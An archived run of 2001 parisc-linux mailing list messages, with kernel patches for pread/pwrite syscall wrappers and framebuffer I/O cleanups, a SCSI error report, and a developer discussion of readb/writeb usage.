Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 04:29:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB97F482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 04:29:52 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1AEDBB007; Wed, 11 Apr 2001 11:30:39 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010410213005.D25123@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Tue, Apr 10, 2001 at 09:30:05PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10751

Hi Willy,

> Could those who're having problems with pread/pwrite try the following patch?

  I don't see how this is supposed to work with a 32 bit userspace and 64
bit kernel.  Do we also need syscall wrappers for pread/pwrite, something
like this:

Index: arch/parisc/kernel/sys_parisc32.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.4
diff -u -r1.4 sys_parisc32.c
--- sys_parisc32.c	2001/04/10 20:05:24	1.4
+++ sys_parisc32.c	2001/04/11 10:18:17
@@ -2727,3 +2727,19 @@
 	}
 	sys_fcntl(fd, cmd, arg);
 }
+
+
+asmlinkage int sys32_pread(int fd, void *buf, size_t count, unsigned int high, unsigned int low)
+{
+	extern asmlinkage ssize_t sys_pread(unsigned int, char *, size_t, loff_t);
+
+	return sys_pread(fd, buf, count, (loff_t)high << 32 | low);
+}
+
+asmlinkage int sys32_pwrite(int fd, void *buf, size_t count, unsigned int high, unsigned int low)
+{
+	extern asmlinkage ssize_t sys_pwrite(unsigned int, char *, size_t, loff_t);
+
+	return sys_pwrite(fd, buf, count, (loff_t)high << 32 | low);
+}
+
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/syscall.S,v
retrieving revision 1.60
diff -u -r1.60 syscall.S
--- syscall.S	2001/04/10 20:05:24	1.60
+++ syscall.S	2001/04/11 10:18:18
@@ -441,8 +441,8 @@
 	ENTRY_SAME(getitimer)	/* 105 */
 	ENTRY_SAME(capget)
 	ENTRY_SAME(capset)
-	ENTRY_SAME(pread)
-	ENTRY_SAME(pwrite)
+	ENTRY_DIFF(pread)
+	ENTRY_DIFF(pwrite)
 	ENTRY_SAME(getcwd)		/* 110 */
 	ENTRY_SAME(vhangup)
 	ENTRY_SAME(fstat64)





From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@grabert.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/730 booting but SCSI Problems (mke2fs)
Date: Wed, 11 Apr 2001 15:08:46 +0200 (CEST)
Lines: 76
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104111501310.5108-100000@sgate.charlysworld.de>
References: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620024 17815 80.91.229.3 (22 Nov 2014 01:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 07:08:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD9541EB0.dip.t-dialin.net [217.84.30.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7754482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Apr 2001 07:08:49 -0600 (MDT)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f3BD8kF05959
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Apr 2001 15:08:47 +0200
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10752

On Mon, 9 Apr 2001, Jeff Arthur wrote:

> however I now have a problem with SCSI, all 
> devices are seen ok, have removed cdrom as I 
> noted in some earlier posts that this could 
> cause problems, but when creating filesystems 
> the SCSI dies.
> 
> I have tried a couple of drives, boot log looks 
> fine.  Any Suggestions or is this just down to 
> lack of docs in this area, as I noted from posts 
> back in Feb?
> 
> hpbox:~# mke2fs /dev/sda3
> mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
> Filesystem label=
> OS type: Linux
> Block size=4096 (log=2)
> Fragment size=4096 (log=2)
> 71520 inodes, 142991 blocks
> 7149 blocks (5.00%) reserved for the super user
> First data block=0
> 5 block groups
> 32768 blocks per group, 32768 fragments per group
> 14304 inodes per group
> Superblock backups stored on blocks:
>         32768, 98304
> 
> Writing inode tables: done
> scsi0: Unable to abort command for target 2
> scsi0: Unable to send Bus Device Reset for target 2
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 000b2038 (script[0x080e]), dsps = 000b2cde, target = 0
> scsi0: Failing command for ID2
> SCSI disk error : host 0 channel 0 id 2 lun 0 return code = 2
>  I/O error: dev 08:03, sector 160
>  I/O error: dev 08:03, sector 162
>  I/O error: dev 08:03, sector 0
>  I/O error: dev 08:03, sector 288
>  I/O error: dev 08:03, sector 416
>  I/O error: dev 08:03, sector 544...
> 
> 
> ... I/O error: dev 08:03, sector 1052022
>  I/O error: dev 08:03, sector 1052150
> Warning: could not erase block 0: Attempt to write block from filesystem resulte
>  I/O error: dev 08:03, sector 2
> d in short write I/O error: dev 08:03, sector 8
> 
> Writing superb I/O error: dev 08:03, sector 262144
> locks and filesy I/O error: dev 08:03, sector 262152
> stem accounting  I/O error: dev 08:03, sector 524288
> information:  I/O error: dev 08:03, sector 786432
>  I/O error: dev 08:03, sector 786440
>  I/O error: dev 08:03, sector 1048576
> done
>  I/O error: dev 08:03, sector 2
>  I/O error: dev 08:03, sector 8
>  I/O error: dev 08:03, sector 262144
>  I/O error: dev 08:03, sector 262152
>  I/O error: dev 08:03, sector 786432
>  I/O error: dev 08:03, sector 786440

the same problem occurs on my HP9000/730 ...

the machine works normal (expect the rpc.xxx problem),
unless you use your scsi devices extensively (well, not really
extensively, just a "find", "mke2fs" or "ls -lR" or something like that).

greetings max





From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with fcntl.c
Date: Wed, 11 Apr 2001 18:24:15 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3AD4852F.422EEA7D@esiee.fr>
References: <3AD34CC0.BE88DE32@esiee.fr> <20010411112316.T6992@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620024 17818 80.91.229.3 (22 Nov 2014 01:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:44 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 10:18:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2845482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Apr 2001 10:18:46 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id E9DBBD15EA
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Apr 2001 18:18:43 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10753

Well, it seems my xc was too old. I changed to a more recent
and this disappears.
Sorry for disagreements ;-)
-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FB cleanups
Date: Wed, 11 Apr 2001 21:13:37 +0100
Lines: 163
Approved: news@gmane.org
Message-ID: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620024 17822 80.91.229.3 (22 Nov 2014 01:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 14:13:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93045482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 14:13:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14nQzh-0000zd-00
	for parisc-linux@parisc-linux.org; Wed, 11 Apr 2001 21:13:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10754

I'd like someone to test these out for me -- they compile but I'm monitorless
here.

 * Turn gsc_read/write[bwl] calls into read/write[bwl]
 * Remove unused functions memcpy_tohp, memcopy_fromhp from fbcon-sti.c
 * Delete gsc_memset_io()
 * Teach <video/fbcon.h> to use memset_io instead.
 * Make <video/fbcon.h> use read/write[bwl] instead of direct accesses
   unless the architecture specifies otherwise.

Index: drivers/video/fbcon-sti.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/fbcon-sti.c,v
retrieving revision 1.5
diff -u -p -r1.5 fbcon-sti.c
--- fbcon-sti.c	2001/03/02 00:54:55	1.5
+++ fbcon-sti.c	2001/04/11 19:59:13
@@ -70,40 +70,14 @@ memcpy_fromhp_tohp(void *dest, void *src
 	count += 3;
 	count &= ~3; /* XXX */
 
-	while(count) {
-		count --;
-		gsc_writel(~gsc_readl(s), d);
+	while (count--) {
+		writel(~readl(s), d);
 		d += 32*4;
 		s += 32*4;
 	}
 }
 
 static void
-memcpy_tohp(void *dest, void *src, int count)
-{
-	unsigned long d = (unsigned long) dest;
-	u32 *s = (u32 *)src;
-
-	count += 3;
-	count &= ~3; /* XXX */
-
-	d = ram2log(dest);
-
-	while(count) {
-		count--;
-		gsc_writel(*s++, d);
-		d += 32*4;
-	}
-}
-
-static void
-memcopy_fromhp(void *dest, void *src, int count)
-{
-	/* FIXME */
-	printk("uhm ...\n");
-}
-
-static void
 memset_tohp(void *dest, u32 word, int count)
 {
 	unsigned long d = ram2log(dest);
@@ -111,9 +85,8 @@ memset_tohp(void *dest, u32 word, int co
 	count += 3;
 	count &= ~3;
 
-	while(count) {
-		count--;
-		gsc_writel(word, d);
+	while (count--) {
+		writel(word, d);
 		d += 32;
 	}
 }
@@ -123,7 +96,7 @@ readb_hp(void *src)
 {
 	unsigned long s = ram2log(src);
 
-	return ~gsc_readb(s);
+	return ~readb(s);
 }
 
 static void
@@ -137,7 +110,7 @@ writeb_hp(u8 b, void *dst)
 		return;
 	}
 
-	gsc_writeb(b, d);
+	writeb(b, d);
 }
 
 static void
Index: include/asm-parisc/gsc.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/gsc.h,v
retrieving revision 1.9
diff -u -p -r1.9 gsc.h
--- gsc.h	2001/03/02 00:09:47	1.9
+++ gsc.h	2001/04/11 19:59:15
@@ -32,14 +32,6 @@ extern void _gsc_writeq(u64,void *);
 #define gsc_writel(v,a)	_gsc_writel((v),(void *)(a))
 #define gsc_writeq(v,a)	_gsc_writeq((v),(void *)(a))
 
-static __inline__ void *gsc_memset_io(void *s, int c, size_t n)
-{
-	while (n--) {
-		gsc_writeb(c,s++);
-	}
-	return NULL;
-}
-
 struct gsc_dev {
 	struct gsc_bus	*bus;		/* bus this device is on */
 	struct gsc_dev	*next;		/* chain of all devices */
Index: include/video/fbcon.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/video/fbcon.h,v
retrieving revision 1.6
diff -u -p -r1.6 fbcon.h
--- fbcon.h	2001/03/02 00:16:36	1.6
+++ fbcon.h	2001/04/11 19:59:52
@@ -206,16 +206,6 @@ extern int set_all_vcs(int fbidx, struct
 #define fb_writel sbus_writel
 #define fb_memset sbus_memset_io
 
-#elif defined(__hppa__)
-
-#define fb_readb gsc_readb
-#define fb_readw gsc_readw
-#define fb_readl gsc_readl
-#define fb_writeb gsc_writeb
-#define fb_writew gsc_writew
-#define fb_writel gsc_writel
-#define fb_memset gsc_memset_io
-
 #elif defined(__i386__) || defined(__alpha__)
 
 #define fb_readb __raw_readb
@@ -228,13 +218,13 @@ extern int set_all_vcs(int fbidx, struct
 
 #else
 
-#define fb_readb(addr) (*(volatile u8 *) (addr))
-#define fb_readw(addr) (*(volatile u16 *) (addr))
-#define fb_readl(addr) (*(volatile u32 *) (addr))
-#define fb_writeb(b,addr) (*(volatile u8 *) (addr) = (b))
-#define fb_writew(b,addr) (*(volatile u16 *) (addr) = (b))
-#define fb_writel(b,addr) (*(volatile u32 *) (addr) = (b))
-#define fb_memset memset
+#define fb_readb(addr) readb(addr)
+#define fb_readw(addr) readw(addr) 
+#define fb_readl(addr) readl(addr) 
+#define fb_writeb(b,addr) writeb(b,addr) 
+#define fb_writew(b,addr) writew(b,addr) 
+#define fb_writel(b,addr) writel(b,addr) 
+#define fb_memset(addr, c, len) memset_io((unsigned long)addr, c, len)
 
 #endif
 

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: 11 Apr 2001 22:30:09 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <d366gbrxgu.fsf@lxplus015.cern.ch>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620025 17824 80.91.229.3 (22 Nov 2014 01:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 14:30:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DB1B482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 14:30:23 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id WAA18781;
	Wed, 11 Apr 2001 22:30:10 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id WAA13797;
	Wed, 11 Apr 2001 22:30:09 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Wed, 11 Apr 2001 21:13:37 +0100"
Original-Lines: 10
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10755

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> I'd like someone to test these out for me -- they compile but
Matthew> I'm monitorless here.

Matthew>  * Turn gsc_read/write[bwl] calls into read/write[bwl] *

Question, does this STI device appear on PCI/ISA cards?

Jes




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Wed, 11 Apr 2001 21:34:58 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010411213458.D26010@parcelfarce.linux.theplanet.co.uk>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk> <d366gbrxgu.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620025 17826 80.91.229.3 (22 Nov 2014 01:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:45 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 14:35:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40329482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 14:35:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14nRKM-0001Vz-00; Wed, 11 Apr 2001 21:34:58 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <d366gbrxgu.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Wed, Apr 11, 2001 at 10:30:09PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10756

On Wed, Apr 11, 2001 at 10:30:09PM +0200, Jes Sorensen wrote:
> >>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:
> 
> Matthew> I'd like someone to test these out for me -- they compile but
> Matthew> I'm monitorless here.
> 
> Matthew>  * Turn gsc_read/write[bwl] calls into read/write[bwl] *
> 
> Question, does this STI device appear on PCI/ISA cards?

STI isn't a device, it's an interface.  STI applies to GSC, EISA & PCI
cards.  The particular chip (Artist) the driver deals with currently is
only on the GSC bus.  But we don't need to have gsc_read/write functions;
they will all go away eventually, I suspect.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: 11 Apr 2001 22:43:52 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <d31yqzrwtz.fsf@lxplus015.cern.ch>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk> <d366gbrxgu.fsf@lxplus015.cern.ch> <20010411213458.D26010@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620025 17828 80.91.229.3 (22 Nov 2014 01:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 14:43:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 274F1482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 14:43:56 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id WAA23314;
	Wed, 11 Apr 2001 22:43:54 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id WAA17949;
	Wed, 11 Apr 2001 22:43:52 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Wed, 11 Apr 2001 21:34:58 +0100"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10757

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> STI isn't a device, it's an interface.  STI applies to GSC,
Matthew> EISA & PCI cards.  The particular chip (Artist) the driver
Matthew> deals with currently is only on the GSC bus.  But we don't
Matthew> need to have gsc_read/write functions; they will all go away
Matthew> eventually, I suspect.

Point is that readb/writeb are *only* defined for PCI and PCI
look-alike devices, even for ISA you're supposed to use
isa_readb/isa_writeb

Jes




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Wed, 11 Apr 2001 23:51:04 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010411235104.A19570@parcelfarce.linux.theplanet.co.uk>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk> <d366gbrxgu.fsf@lxplus015.cern.ch> <20010411213458.D26010@parcelfarce.linux.theplanet.co.uk> <d31yqzrwtz.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620025 17830 80.91.229.3 (22 Nov 2014 01:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:45 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 16:51:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 811C5482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 16:51:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14nTS4-00058h-00; Wed, 11 Apr 2001 23:51:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <d31yqzrwtz.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Wed, Apr 11, 2001 at 10:43:52PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10758

On Wed, Apr 11, 2001 at 10:43:52PM +0200, Jes Sorensen wrote:
> Point is that readb/writeb are *only* defined for PCI and PCI
> look-alike devices, even for ISA you're supposed to use
> isa_readb/isa_writeb

No, you're wrong.  isa_* are due to go away in 2.5.  After you've
called ioremap(), you can call readb/writeb on the returned address.
You might want to refer to Documentation/IO-mapping.txt and/or
Documentation/DocBook/deviceiobook.* (only in Alan's tree right now).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: 12 Apr 2001 00:56:01 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <d3wv8rqc5a.fsf@lxplus015.cern.ch>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk> <d366gbrxgu.fsf@lxplus015.cern.ch> <20010411213458.D26010@parcelfarce.linux.theplanet.co.uk> <d31yqzrwtz.fsf@lxplus015.cern.ch> <20010411235104.A19570@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620026 17833 80.91.229.3 (22 Nov 2014 01:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 16:56:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87CAF482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 16:56:03 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id AAA19334;
	Thu, 12 Apr 2001 00:56:02 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id AAA23577;
	Thu, 12 Apr 2001 00:56:01 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Wed, 11 Apr 2001 23:51:04 +0100"
Original-Lines: 18
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10759

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> On Wed, Apr 11, 2001 at 10:43:52PM +0200, Jes Sorensen wrote:
>> Point is that readb/writeb are *only* defined for PCI and PCI
>> look-alike devices, even for ISA you're supposed to use
>> isa_readb/isa_writeb

Matthew> No, you're wrong.  isa_* are due to go away in 2.5.  After
Matthew> you've called ioremap(), you can call readb/writeb on the
Matthew> returned address.  You might want to refer to
Matthew> Documentation/IO-mapping.txt and/or
Matthew> Documentation/DocBook/deviceiobook.* (only in Alan's tree
Matthew> right now).

Then Linus changed his mind. You are still *only* supposed to use
readb/writeb on PCI (and possible ISA) on PCI like devices.

Jes




From - Thu Nov 08 21:17:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Thu, 12 Apr 2001 00:00:56 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E14nTbe-0007lJ-00@the-village.bc.nu>
References: <d3wv8rqc5a.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620026 17836 80.91.229.3 (22 Nov 2014 01:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:46 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@parisc-linux.org
To: parisc-linux-admin@lists.parisc-linux.org (Jes Sorensen)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 16:59:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F167482A
	for <parisc-linux@parisc-linux.org>; Wed, 11 Apr 2001 16:59:52 -0600 (MDT)
